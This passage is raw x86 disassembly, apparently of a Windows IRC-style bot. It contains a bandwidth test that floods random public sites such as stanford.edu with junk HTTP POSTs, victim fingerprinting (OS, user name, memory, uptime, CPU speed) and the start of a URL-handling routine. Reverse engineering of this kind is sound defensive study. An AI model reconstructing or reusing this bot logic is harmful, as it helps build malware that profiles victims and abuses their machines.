lea eax, [ebp+var_14]
push eax
jnz short loc_41A40E
push offset dword_43A3C0
jmp short loc_41A413
; ---------------------------------------------------------------------------
loc_41A40E: ; CODE XREF: sub_41A19E+267j
push offset asc_43A398 ; "-"
loc_41A413: ; CODE XREF: sub_41A19E+26Ej
lea eax, [ebp+Dest]
push edi ; Count
push eax ; Dest
call __snprintf
add esp, 10h
cmp [ebp+arg_C], 0
jnz short loc_41A443
push 1 ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+arg_4] ; Str
push [ebp+arg_0] ; int
call sub_409A73
add esp, 14h
loc_41A443: ; CODE XREF: sub_41A19E+289j
lea eax, [ebp+Dest]
push eax
call sub_4151AD
pop ecx
loc_41A450: ; CODE XREF: sub_41A19E+206j
; sub_41A19E+20Fj ...
inc bl
shr [ebp+var_4], 1
jnz loc_41A39C
loc_41A45B: ; CODE XREF: sub_41A19E+1F8j
lea eax, [ebp+Dest]
push offset asc_43A368 ; "-"
push eax ; Dest
call _sprintf
pop ecx
xor ebx, ebx
pop ecx
pop edi
jmp short loc_41A486
; ---------------------------------------------------------------------------
loc_41A473: ; CODE XREF: sub_41A19E+173j
lea eax, [ebp+Dest]
push offset asc_43A100 ; "-"
push eax ; Dest
call _sprintf
pop ecx
pop ecx
loc_41A486: ; CODE XREF: sub_41A19E+2D3j
cmp [ebp+arg_C], ebx
jnz short loc_41A4A4
push ebx ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+arg_4] ; Str
push [ebp+arg_0] ; int
call sub_409A73
add esp, 14h
loc_41A4A4: ; CODE XREF: sub_41A19E+2EBj
lea eax, [ebp+Dest]
push eax
call sub_4151AD
pop ecx
push 1
pop eax
pop esi
pop ebx
leave
retn
sub_41A19E endp
; =============== S U B R O U T I N E =======================================
sub_41A4B8 proc near ; CODE XREF: sub_41A6AF+CBp
; sub_41A6AF+DDp ...
arg_0 = dword ptr 4
call ds:dword_4270A8 ; GetTickCount
push eax
call sub_41B8D8
pop ecx
call _rand
cdq
idiv [esp+arg_0]
mov eax, edx
retn
sub_41A4B8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41A4D2(char *Str)
sub_41A4D2 proc near ; CODE XREF: sub_41A6AF+D4p
; sub_41A6AF+E6p ...
var_38 = dword ptr -38h
Dst = word ptr -28h
var_26 = word ptr -26h
var_24 = dword ptr -24h
var_18 = qword ptr -18h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
Source = dword ptr -8
var_4 = dword ptr -4
Str = dword ptr 8
push ebp
mov ebp, esp
sub esp, 28h
push ebx
push esi
push edi
push [ebp+Str] ; Str
call _strlen
mov esi, 0FFh
pop ecx
cmp eax, esi
ja loc_41A6AB
push 10h ; Size
lea eax, [ebp+Dst]
push 0 ; Val
push eax ; Dst
call _memset
push [ebp+Str]
mov [ebp+Dst], 2
call sub_40AAFA
add esp, 10h
mov [ebp+var_24], eax
test eax, eax
jz loc_41A6AB
push 50h
call dword_4CB654 ; htons
push 6
push 1
push 2
mov [ebp+var_26], ax
call dword_4CB6D4 ; socket
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jz loc_41A6AB
lea ecx, [ebp+Dst]
push 10h
push ecx
push eax
call dword_4CB5FC ; connect
cmp eax, 0FFFFFFFFh
jz loc_41A6AB
push 32003h ; unsigned int
call ??2@YAPAXI@Z ; operator new(uint)
mov edi, ds:dword_4270A8
mov ebx, eax
pop ecx
mov [ebp+Source], ebx
call edi ; GetTickCount
push eax ; Size
call sub_41B8D8
call _rand
cdq
idiv esi
mov [esp+38h+var_38], 32001h
push 0 ; Val
push ebx ; Dst
movsx esi, dl
call _memset
push 32000h ; Size
push esi ; Val
push ebx ; Dst
call _memset
push ebx ; Str
call _strlen
push 323EAh ; unsigned int
mov ebx, eax
call ??2@YAPAXI@Z ; operator new(uint)
add esp, 20h
mov esi, eax
push ebx
push [ebp+Str]
push offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"...
push esi ; Dest
call _sprintf
push [ebp+Source] ; Source
push esi ; Dest
call _strcat
push offset asc_433F14 ; "\r\n"
push esi ; Dest
call _strcat
push esi ; Str
call _strlen
mov ebx, eax
add esp, 24h
mov [ebp+var_10], ebx
call edi ; GetTickCount
mov dword ptr [ebp+var_18+4], eax
xor eax, eax
test ebx, ebx
mov [ebp+Str], eax
jbe short loc_41A62B
mov [ebp+var_C], ebx
mov ebx, 400h
jmp short loc_41A5FB
; ---------------------------------------------------------------------------
loc_41A5F8: ; CODE XREF: sub_41A4D2+157j
mov eax, [ebp+Str]
loc_41A5FB: ; CODE XREF: sub_41A4D2+124j
mov ecx, [ebp+var_10]
push 0
sub ecx, eax
cmp ecx, ebx
jnb short loc_41A60B
push [ebp+var_C]
jmp short loc_41A60C
; ---------------------------------------------------------------------------
loc_41A60B: ; CODE XREF: sub_41A4D2+132j
push ebx
loc_41A60C: ; CODE XREF: sub_41A4D2+137j
add eax, esi
push eax
push [ebp+var_4]
call dword_4CB6A4 ; send
cmp eax, 0FFFFFFFFh
jz short loc_41A692
add [ebp+Str], ebx
sub [ebp+var_C], ebx
mov eax, [ebp+Str]
cmp eax, [ebp+var_10]
jb short loc_41A5F8
loc_41A62B: ; CODE XREF: sub_41A4D2+11Aj
call edi ; GetTickCount
sub eax, dword ptr [ebp+var_18+4]
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
fild [ebp+var_18]
fmul ds:flt_42770C
fst [ebp+Str]
fcomp ds:flt_427708
fnstsw ax
sahf
jnz short loc_41A653
fld1
fstp [ebp+Str]
loc_41A653: ; CODE XREF: sub_41A4D2+17Aj
push [ebp+var_4]
call dword_4CB6EC ; closesocket
push [ebp+Source]
call sub_41B0B1
push esi
call sub_41B0B1
mov eax, [ebp+var_10]
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
pop ecx
fild [ebp+var_18]
pop ecx
fdiv [ebp+Str]
fmul ds:flt_427704
fmul ds:flt_427700
call __ftol
loc_41A68D: ; CODE XREF: sub_41A4D2+1DBj
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_41A692: ; CODE XREF: sub_41A4D2+149j
push [ebp+var_4]
call dword_4CB6EC ; closesocket
push [ebp+Source]
call sub_41B0B1
push esi
call sub_41B0B1
pop ecx
pop ecx
loc_41A6AB: ; CODE XREF: sub_41A4D2+19j
; sub_41A4D2+42j ...
xor eax, eax
jmp short loc_41A68D
sub_41A4D2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41A6AF(int,char *Str,int)
sub_41A6AF proc near ; CODE XREF: sub_401ACD+2E62p
Dest = byte ptr -26Ch
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 26Ch
push ebx
push esi
push edi
push 8
mov [ebp+var_4], 3
mov [ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net"
mov [ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl"
mov [ebp+var_34], offset aVerio_fr ; "verio.fr"
mov [ebp+var_30], offset aWww_1und1_de ; "www.1und1.de"
mov [ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch"
mov [ebp+var_28], offset aWww_belwue_de ; "www.belwue.de"
mov [ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com"
mov [ebp+var_20], offset aWww_google_it ; "www.google.it"
mov [ebp+var_6C], offset aWww_xo_net ; "www.xo.net"
mov [ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu"
mov [ebp+var_64], offset aWww_verio_com ; "www.verio.com"
mov [ebp+var_60], offset aWww_nocster_co ; "www.nocster.com"
mov [ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu"
mov [ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com"
mov [ebp+var_54], offset aWww_burst_net ; "www.burst.net"
mov [ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu"
mov [ebp+var_4C], offset aWww_level3_com ; "www.level3.com"
mov [ebp+var_48], offset aWww_above_net ; "www.above.net"
mov [ebp+var_44], offset aWww_easynews_c ; "www.easynews.com"
mov [ebp+var_40], offset aWww_google_com ; "www.google.com"
mov [ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw"
mov [ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp"
mov [ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com"
mov [ebp+var_10], offset aWww_nifty_com ; "www.nifty.com"
mov [ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp"
mov [ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp"
call sub_41A4B8
push [ebp+eax*4+var_3C] ; Str
call sub_41A4D2
push 8
mov esi, eax
call sub_41A4B8
push [ebp+eax*4+var_3C] ; Str
call sub_41A4D2
add esp, 10h
test esi, esi
jz short loc_41A7B0
test eax, eax
jz short loc_41A7AC
lea ebx, [eax+esi]
shr ebx, 1
jmp short loc_41A7B2
; ---------------------------------------------------------------------------
loc_41A7AC: ; CODE XREF: sub_41A6AF+F4j
mov ebx, esi
jmp short loc_41A7B2
; ---------------------------------------------------------------------------
loc_41A7B0: ; CODE XREF: sub_41A6AF+F0j
mov ebx, eax
loc_41A7B2: ; CODE XREF: sub_41A6AF+FBj
; sub_41A6AF+FFj
push 0Ch
call sub_41A4B8
push [ebp+eax*4+var_6C] ; Str
call sub_41A4D2
push 0Ch
mov edi, eax
call sub_41A4B8
push [ebp+eax*4+var_6C] ; Str
call sub_41A4D2
add esp, 10h
test edi, edi
jz short loc_41A7EA
test eax, eax
jz short loc_41A7E6
lea esi, [eax+edi]
shr esi, 1
jmp short loc_41A7EC
; ---------------------------------------------------------------------------
loc_41A7E6: ; CODE XREF: sub_41A6AF+12Ej
mov esi, edi
jmp short loc_41A7EC
; ---------------------------------------------------------------------------
loc_41A7EA: ; CODE XREF: sub_41A6AF+12Aj
mov esi, eax
loc_41A7EC: ; CODE XREF: sub_41A6AF+135j
; sub_41A6AF+139j
push 6
call sub_41A4B8
push [ebp+eax*4+var_1C] ; Str
call sub_41A4D2
push 6
mov edi, eax
call sub_41A4B8
push [ebp+eax*4+var_1C] ; Str
call sub_41A4D2
add esp, 10h
test edi, edi
jz short loc_41A824
test eax, eax
jz short loc_41A820
lea ecx, [eax+edi]
shr ecx, 1
jmp short loc_41A826
; ---------------------------------------------------------------------------
loc_41A820: ; CODE XREF: sub_41A6AF+168j
mov ecx, edi
jmp short loc_41A826
; ---------------------------------------------------------------------------
loc_41A824: ; CODE XREF: sub_41A6AF+164j
mov ecx, eax
loc_41A826: ; CODE XREF: sub_41A6AF+16Fj
; sub_41A6AF+173j
xor eax, eax
test ebx, ebx
jz short loc_41A833
mov edi, [ebp+var_4]
mov eax, ebx
jmp short loc_41A836
; ---------------------------------------------------------------------------
loc_41A833: ; CODE XREF: sub_41A6AF+17Bj
push 2
pop edi
loc_41A836: ; CODE XREF: sub_41A6AF+182j
test esi, esi
jz short loc_41A83E
add eax, esi
jmp short loc_41A83F
; ---------------------------------------------------------------------------
loc_41A83E: ; CODE XREF: sub_41A6AF+189j
dec edi
loc_41A83F: ; CODE XREF: sub_41A6AF+18Dj
test ecx, ecx
jz short loc_41A847
add eax, ecx
jmp short loc_41A848
; ---------------------------------------------------------------------------
loc_41A847: ; CODE XREF: sub_41A6AF+192j
dec edi
loc_41A848: ; CODE XREF: sub_41A6AF+196j
xor edx, edx
div edi
push eax
push ecx
push esi
push ebx
lea eax, [ebp+Dest]
push offset asc_43A508 ; "-"
push eax ; Dest
call _sprintf
push 0 ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_409A73
lea eax, [ebp+Dest]
push eax
call sub_4151AD
add esp, 30h
pop edi
pop esi
pop ebx
leave
retn
sub_41A6AF endp
; =============== S U B R O U T I N E =======================================
sub_41A88C proc near ; CODE XREF: sub_401ACD+25A1p
; sub_401ACD+2A11p ...
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
call ds:dword_4270A8 ; GetTickCount
xor edx, edx
mov ecx, 3E8h
div ecx
mov ebx, 15180h
xor edx, edx
mov esi, ebx
mov edi, 0E10h
mov ebp, edi
push 3Ch
mov ecx, eax
sub ecx, [esp+14h+arg_0]
mov eax, ecx
div esi
mov esi, edx
xor edx, edx
mov eax, esi
div ebp
pop ebp
mov eax, edx
xor edx, edx
div ebp
xor edx, edx
push eax
mov eax, esi
div edi
xor edx, edx
mov esi, offset byte_4DB920
push eax
mov eax, ecx
div ebx
push eax
push offset aDdDhDm ; "%dd %dh %dm"
push 32h ; Count
push esi ; Dest
call __snprintf
add esp, 18h
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
retn
sub_41A88C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A8F5 proc near ; CODE XREF: sub_416F1B+24p
var_94 = dword ptr -94h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_84 = dword ptr -84h
push ebp
mov ebp, esp
sub esp, 94h
lea eax, [ebp+var_94]
push esi
push eax
xor esi, esi
mov [ebp+var_94], 94h
call ds:dword_4270C8 ; GetVersionExA
test eax, eax
jz short loc_41A988
cmp [ebp+var_90], 4
jnz short loc_41A95E
cmp [ebp+var_8C], esi
jnz short loc_41A946
cmp [ebp+var_84], 1
jnz short loc_41A939
push 1
pop esi
loc_41A939: ; CODE XREF: sub_41A8F5+3Fj
cmp [ebp+var_84], 2
jnz short loc_41A988
push 1
jmp short loc_41A987
; ---------------------------------------------------------------------------
loc_41A946: ; CODE XREF: sub_41A8F5+36j
cmp [ebp+var_8C], 0Ah
jnz short loc_41A953
loc_41A94F: ; CODE XREF: sub_41A8F5+78j
push 2
jmp short loc_41A987
; ---------------------------------------------------------------------------
loc_41A953: ; CODE XREF: sub_41A8F5+58j
cmp [ebp+var_8C], 5Ah
jnz short loc_41A988
jmp short loc_41A978
; ---------------------------------------------------------------------------
loc_41A95E: ; CODE XREF: sub_41A8F5+2Ej
cmp [ebp+var_90], 5
jnz short loc_41A988
cmp [ebp+var_8C], esi
jz short loc_41A94F
cmp [ebp+var_8C], 1
jnz short loc_41A97C
loc_41A978: ; CODE XREF: sub_41A8F5+67j
push 3
jmp short loc_41A987
; ---------------------------------------------------------------------------
loc_41A97C: ; CODE XREF: sub_41A8F5+81j
cmp [ebp+var_8C], 2
jnz short loc_41A988
push 7
loc_41A987: ; CODE XREF: sub_41A8F5+4Fj
; sub_41A8F5+5Cj ...
pop esi
loc_41A988: ; CODE XREF: sub_41A8F5+25j
; sub_41A8F5+4Bj ...
mov eax, esi
pop esi
leave
retn
sub_41A8F5 endp
; =============== S U B R O U T I N E =======================================
sub_41A98D proc near ; CODE XREF: sub_41AA43+290p
push ebx
push esi
push edi
mov esi, 0F4240h
loc_41A995: ; CODE XREF: sub_41A98D+2Fj
; sub_41A98D+35j
rdtsc
push 3E8h
mov edi, edx
mov ebx, eax
call ds:dword_427078 ; Sleep
rdtsc
sub eax, ebx
push 0
sbb edx, edi
push esi
push edx
push eax
call __aulldiv
mov edi, edx
mov ebx, eax
test edi, edi
ja short loc_41A995
jb short loc_41A9C4
cmp ebx, esi
ja short loc_41A995
loc_41A9C4: ; CODE XREF: sub_41A98D+31j
push 0
push 64h
push edi
push ebx
call __aullrem
mov ecx, edx
push 64h
xor edx, edx
mov esi, eax
test ecx, ecx
pop eax
ja short loc_41AA37
jb short loc_41A9E3
cmp esi, 50h
jnb short loc_41A9E8
loc_41A9E3: ; CODE XREF: sub_41A98D+4Fj
push 4Bh
xor edx, edx
pop eax
loc_41A9E8: ; CODE XREF: sub_41A98D+54j
test ecx, ecx
ja short loc_41AA37
jb short loc_41A9F3
cmp esi, 47h
jnb short loc_41A9F8
loc_41A9F3: ; CODE XREF: sub_41A98D+5Fj
push 42h
xor edx, edx
pop eax
loc_41A9F8: ; CODE XREF: sub_41A98D+64j
test ecx, ecx
ja short loc_41AA37
jb short loc_41AA03
cmp esi, 37h
jnb short loc_41AA08
loc_41AA03: ; CODE XREF: sub_41A98D+6Fj
push 32h
xor edx, edx
pop eax
loc_41AA08: ; CODE XREF: sub_41A98D+74j
test ecx, ecx
ja short loc_41AA37
jb short loc_41AA13
cmp esi, 26h
jnb short loc_41AA18
loc_41AA13: ; CODE XREF: sub_41A98D+7Fj
push 21h
xor edx, edx
pop eax
loc_41AA18: ; CODE XREF: sub_41A98D+84j
test ecx, ecx
ja short loc_41AA37
jb short loc_41AA23
cmp esi, 1Eh
jnb short loc_41AA28
loc_41AA23: ; CODE XREF: sub_41A98D+8Fj
push 19h
xor edx, edx
pop eax
loc_41AA28: ; CODE XREF: sub_41A98D+94j
test ecx, ecx
ja short loc_41AA37
jb short loc_41AA33
cmp esi, 0Ah
jnb short loc_41AA37
loc_41AA33: ; CODE XREF: sub_41A98D+9Fj
xor eax, eax
xor edx, edx
loc_41AA37: ; CODE XREF: sub_41A98D+4Dj
; sub_41A98D+5Dj ...
sub eax, esi
sbb edx, ecx
add eax, ebx
adc edx, edi
pop edi
pop esi
pop ebx
retn
sub_41A98D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AA43 proc near ; CODE XREF: sub_401ACD+276Fp
var_7E8 = byte ptr -7E8h
var_668 = byte ptr -668h
var_5E8 = byte ptr -5E8h
var_568 = byte ptr -568h
FullPath = byte ptr -4E8h
var_3E4 = byte ptr -3E4h
Dest = byte ptr -2E8h
var_25C = word ptr -25Ch
var_25A = byte ptr -25Ah
var_15C = byte ptr -15Ch
var_114 = byte ptr -114h
var_CC = dword ptr -0CCh
var_C8 = dword ptr -0C8h
var_C4 = dword ptr -0C4h
var_C0 = dword ptr -0C0h
var_BC = dword ptr -0BCh
var_B8 = byte ptr -0B8h
Dst = byte ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
Drive = byte ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 7E8h
push ebx
push esi
lea eax, [ebp+var_CC]
push edi
push eax
mov [ebp+var_4], offset byte_43D808
mov [ebp+var_CC], 94h
call ds:dword_4270C8 ; GetVersionExA
xor ebx, ebx
cmp [ebp+var_C8], 4
jnz short loc_41AACA
cmp [ebp+var_C4], ebx
jnz short loc_41AAA6
cmp [ebp+var_BC], 1
jnz short loc_41AA90
mov [ebp+var_4], offset a95 ; "95"
loc_41AA90: ; CODE XREF: sub_41AA43+44j
cmp [ebp+var_BC], 2
jnz loc_41AB45
mov [ebp+var_4], offset aNt_0 ; "NT"
jmp short loc_41AB16
; ---------------------------------------------------------------------------
loc_41AAA6: ; CODE XREF: sub_41AA43+3Bj
cmp [ebp+var_C4], 0Ah
jnz short loc_41AAB8
mov [ebp+var_4], offset a98 ; "98"
jmp short loc_41AB0D
; ---------------------------------------------------------------------------
loc_41AAB8: ; CODE XREF: sub_41AA43+6Aj
cmp [ebp+var_C4], 5Ah
jnz short loc_41AB06
mov [ebp+var_4], offset aMe_0 ; "ME"
jmp short loc_41AB0D
; ---------------------------------------------------------------------------
loc_41AACA: ; CODE XREF: sub_41AA43+33j
cmp [ebp+var_C8], 5
jnz short loc_41AB06
cmp [ebp+var_C4], ebx
jnz short loc_41AAE4
mov [ebp+var_4], offset a2k ; "2K"
jmp short loc_41AB0D
; ---------------------------------------------------------------------------
loc_41AAE4: ; CODE XREF: sub_41AA43+96j
cmp [ebp+var_C4], 1
jnz short loc_41AAF6
mov [ebp+var_4], offset aXp ; "XP"
jmp short loc_41AB0D
; ---------------------------------------------------------------------------
loc_41AAF6: ; CODE XREF: sub_41AA43+A8j
cmp [ebp+var_C4], 2
mov [ebp+var_4], offset a2003 ; "2003"
jz short loc_41AB0D
loc_41AB06: ; CODE XREF: sub_41AA43+7Cj
; sub_41AA43+8Ej
mov [ebp+var_4], offset a??? ; "???"
loc_41AB0D: ; CODE XREF: sub_41AA43+73j
; sub_41AA43+85j ...
cmp [ebp+var_BC], 2
jnz short loc_41AB45
loc_41AB16: ; CODE XREF: sub_41AA43+61j
cmp [ebp+var_B8], bl
jz short loc_41AB45
lea eax, [ebp+var_B8]
push eax
lea eax, [ebp+Dest]
push [ebp+var_4]
push offset aSS_5 ; "%s (%s)"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dest]
add esp, 10h
mov [ebp+var_4], eax
loc_41AB45: ; CODE XREF: sub_41AA43+54j
; sub_41AA43+D1j ...
mov ax, word_437F2C
push 3Fh
mov [ebp+var_25C], ax
pop ecx
xor eax, eax
lea edi, [ebp+var_25A]
rep stosd
stosw
mov eax, dword_4CB534
mov [ebp+var_C], 100h
cmp eax, ebx
jz short loc_41AB7E
lea ecx, [ebp+var_C]
push ecx
lea ecx, [ebp+var_25C]
push ecx
call eax ; GetUserNameA
loc_41AB7E: ; CODE XREF: sub_41AA43+12Cj
push [ebp+arg_4]
call sub_40AC10
pop ecx
push eax
call dword_4CB694 ; inet_addr
mov [ebp+var_8], eax
push 2
lea eax, [ebp+var_8]
push 4
push eax
call dword_4CB60C ; gethostbyaddr
cmp eax, ebx
jz short loc_41ABA7
push dword ptr [eax]
jmp short loc_41ABAC
; ---------------------------------------------------------------------------
loc_41ABA7: ; CODE XREF: sub_41AA43+15Ej
push offset aCouldnTResolve ; "couldn't resolve host"
loc_41ABAC: ; CODE XREF: sub_41AA43+162j
lea eax, [ebp+var_3E4]
push eax ; Dest
call _sprintf
pop ecx
lea eax, [ebp+FullPath]
pop ecx
push 104h
push eax
call ds:dword_427074 ; GetSystemDirectoryA
lea eax, [ebp+var_114]
push 46h
push eax
push offset aDdMmmYyyy ; "dd:MMM:yyyy"
push ebx
mov esi, 409h
push ebx
push esi
call ds:dword_427104 ; GetDateFormatA
lea eax, [ebp+var_15C]
push 46h
push eax
push offset aHhMmSs ; "HH:mm:ss"
push ebx
push ebx
push esi
call ds:dword_427100 ; GetTimeFormatA
push 20h ; Size
lea eax, [ebp+Dst]
push ebx ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+Dst]
push eax
call ds:dword_427194 ; GlobalMemoryStatus
push ebx ; Ext
push ebx ; Filename
lea eax, [ebp+Drive]
push ebx ; Dir
push eax ; Drive
lea eax, [ebp+FullPath]
push eax ; FullPath
call __splitpath
lea eax, [ebp+Drive]
push eax
lea eax, [ebp+var_7E8]
push eax
call sub_416A33
push 60h
mov esi, eax
pop ecx
lea edi, [ebp+var_7E8]
rep movsd
push 60h
lea esi, [ebp+var_7E8]
pop ecx
lea edi, [ebp+var_668]
rep movsd
push ebx
call sub_41A88C
add esp, 20h
push eax
lea eax, [ebp+var_15C]
push eax
lea eax, [ebp+var_114]
push eax
lea eax, [ebp+var_25C]
push eax
push [ebp+arg_4]
call sub_40AC10
pop ecx
push eax
lea eax, [ebp+var_3E4]
push eax
lea eax, [ebp+FullPath]
push eax
lea eax, [ebp+var_5E8]
push [ebp+var_C0]
push [ebp+var_C4]
push [ebp+var_C8]
push [ebp+var_4]
push eax
lea eax, [ebp+var_568]
push eax
mov eax, [ebp+var_2C]
shr eax, 0Ah
push ebx
push eax
call sub_416923
pop ecx
pop ecx
push eax
mov eax, [ebp+var_30]
shr eax, 0Ah
push ebx
push eax
call sub_416923
pop ecx
pop ecx
push eax
call sub_41A98D
push edx
push eax
push offset asc_43A720 ; "-"
push 200h ; Count
push [ebp+arg_0] ; Dest
call __snprintf
mov eax, [ebp+arg_0]
add esp, 50h
pop edi
pop esi
pop ebx
leave
retn
sub_41AA43 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41ACF7 proc near ; CODE XREF: sub_401ACD+279Dp
; sub_401ACD+72F6p
Dst = byte ptr -8Ch
var_C = byte ptr -0Ch
Dest = byte ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8Ch
push esi
mov esi, 80h
push esi ; Size
lea eax, [ebp+Dst]
push 0 ; Val
push eax ; Dst
call _memset
add esp, 0Ch
cmp dword_4CB73C, 0
jnz short loc_41AD63
push 0
lea eax, [ebp+Dst]
push esi
push eax
lea eax, [ebp+var_C]
push eax
call dword_4CB518 ; InternetGetConnectedStateEx
test eax, eax
jnz short loc_41AD4C
lea eax, [ebp+Dst]
push offset aNotConnected ; "Not connected"
push eax ; Dest
call _sprintf
pop ecx
pop ecx
loc_41AD4C: ; CODE XREF: sub_41ACF7+40j
test [ebp+var_C], 1
jz short loc_41AD59
push offset aDialUp ; "Dial-up"
jmp short loc_41AD5E
; ---------------------------------------------------------------------------
loc_41AD59: ; CODE XREF: sub_41ACF7+59j
push offset dword_43A870
loc_41AD5E: ; CODE XREF: sub_41ACF7+60j
lea eax, [ebp+Dest]
jmp short loc_41AD7B
; ---------------------------------------------------------------------------
loc_41AD63: ; CODE XREF: sub_41ACF7+28j
mov esi, offset off_43A86C
lea eax, [ebp+Dest]
push esi ; Format
push eax ; Dest
call _sprintf
pop ecx
lea eax, [ebp+Dst]
pop ecx
push esi ; Format
loc_41AD7B: ; CODE XREF: sub_41ACF7+6Aj
push eax ; Dest
call _sprintf
pop ecx
pop ecx
push [ebp+arg_4]
push [ebp+arg_8]
call sub_40AC10
pop ecx
push eax
lea eax, [ebp+Dst]
push eax
lea eax, [ebp+Dest]
push eax
push offset asc_43A828 ; "-"
push 200h ; Count
push [ebp+arg_0] ; Dest
call __snprintf
mov eax, [ebp+arg_0]
add esp, 1Ch
pop esi
leave
retn
sub_41ACF7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41ADB6 proc near ; DATA XREF: sub_401ACD+7715o
var_65C = byte ptr -65Ch
var_55C = dword ptr -55Ch
var_35C = dword ptr -35Ch
Str = byte ptr -358h
var_2D8 = byte ptr -2D8h
var_258 = byte ptr -258h
var_1D8 = dword ptr -1D8h
var_1D4 = dword ptr -1D4h
var_1D0 = dword ptr -1D0h
Dest = byte ptr -1C8h
Dst = byte ptr -148h
var_C8 = byte ptr -0C8h
var_48 = dword ptr -48h
Source = dword ptr -38h
Count = dword ptr -34h
var_30 = word ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 65Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 65h
mov esi, eax
pop ecx
lea edi, [ebp+var_35C]
rep movsd
push 1
mov edi, 80h
pop esi
xor ebx, ebx
mov [eax+190h], esi
push edi ; Size
lea eax, [ebp+Dst]
push ebx ; Val
push eax ; Dst
mov [ebp+var_C], ebx
mov [ebp+var_4], ebx
mov [ebp+var_8], offset dword_43A95C
call _memset
push edi ; Size
lea eax, [ebp+Dest]
push ebx ; Val
push eax ; Dst
call _memset
push edi ; Size
lea eax, [ebp+var_C8]
push ebx ; Val
push eax ; Dst
call _memset
push 100h ; Size
lea eax, [ebp+var_65C]
push ebx ; Val
push eax ; Dst
call _memset
push 3Ch
lea eax, [ebp+var_48]
pop edi
push edi ; Size
push ebx ; Val
push eax ; Dst
call _memset
add esp, 3Ch
lea eax, [ebp+var_48]
mov [ebp+var_48], edi
mov [ebp+Count], esi
push eax
lea eax, [ebp+Str]
push ebx
push eax ; Str
mov [ebp+var_28], esi
mov [ebp+var_20], esi
mov [ebp+var_18], esi
call _strlen
pop ecx
push eax
lea eax, [ebp+Str]
push eax
call dword_4CB550 ; InternetCrackUrlA
test eax, eax
jz loc_41AF50
cmp [ebp+Count], ebx
jbe short loc_41AE8D
push [ebp+Count] ; Count
lea eax, [ebp+Dst]
push [ebp+Source] ; Source
push eax ; Dest
call _strncpy
add esp, 0Ch
loc_41AE8D: ; CODE XREF: sub_41ADB6+C0j
cmp [ebp+var_28], ebx
movzx esi, [ebp+var_30]
jbe short loc_41AEAB
push [ebp+var_28] ; Count
lea eax, [ebp+Dest]
push [ebp+var_2C] ; Source
push eax ; Dest
call _strncpy
add esp, 0Ch
loc_41AEAB: ; CODE XREF: sub_41ADB6+DEj
cmp [ebp+var_20], ebx
jbe short loc_41AEC5
push [ebp+var_20] ; Count
lea eax, [ebp+var_C8]
push [ebp+var_24] ; Source
push eax ; Dest
call _strncpy
add esp, 0Ch
loc_41AEC5: ; CODE XREF: sub_41ADB6+F8j
cmp [ebp+var_18], ebx
jbe short loc_41AEDF
push [ebp+var_18] ; Count
lea eax, [ebp+var_65C]
push [ebp+var_1C] ; Source
push eax ; Dest
